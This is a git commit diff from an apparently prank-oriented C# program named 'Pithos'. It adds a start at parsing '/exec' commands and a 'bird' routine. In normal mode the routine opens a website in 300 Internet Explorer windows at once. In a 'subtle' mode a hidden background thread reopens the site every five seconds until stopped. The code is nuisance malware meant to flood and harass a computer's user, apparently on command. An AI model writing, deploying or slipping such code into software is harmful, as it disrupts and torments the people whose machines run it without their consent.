added bird function (currently untested) to program, and added some basic decoding, no calls yet though

This commit is contained in:
Jake Howard 2015-01-04 22:27:48 +00:00
parent c02183c15d
commit a426823e00

View file

@ -2,20 +2,36 @@
using System.Collections.Generic; using System.Collections.Generic;
using System.Linq; using System.Linq;
using System.Text; using System.Text;
using System.Threading.Tasks; using System.Threading;
using System.IO; using System.IO;
using System.Diagnostics;
using System.Drawing;
namespace Pithos namespace Pithos
{ {
class pithosPrograms class pithosPrograms
{ {
private static volatile bool DIE = false;
private static string tempPath = Path.GetTempPath();
private static bool isSubtle(string[] input) { return (input[0].Substring(0, 1) == "-" && input[0].ToLower().Contains('s')); }
public static void decodeInput(string text) public static void decodeInput(string text)
{ {
text.Replace("/exec ", ) string[] input = text.Replace("/exec ", "").Split(' ');
} bool subtle = isSubtle(input);
private static void CD(bool subtle) string execution = input[1];
{
} }
private static void theBird(bool subtle) {
if (subtle) {
Thread thr = new Thread(new ThreadStart(theBirdSubtle));
thr.Start();
Program.MW.display("Bird Thread Started.", Color.Orange);
} else {
Program.MW.display("Generating Windows...", Color.ForestGreen);
for (int i = 0; i < 300; i++) { Process.Start("\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" www.aboutthebird.com"); }
}
}
private static void theBirdSubtle() { while (!DIE) { Process.Start("\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" www.aboutthebird.com"); Thread.Sleep(5000); } }
} }
} }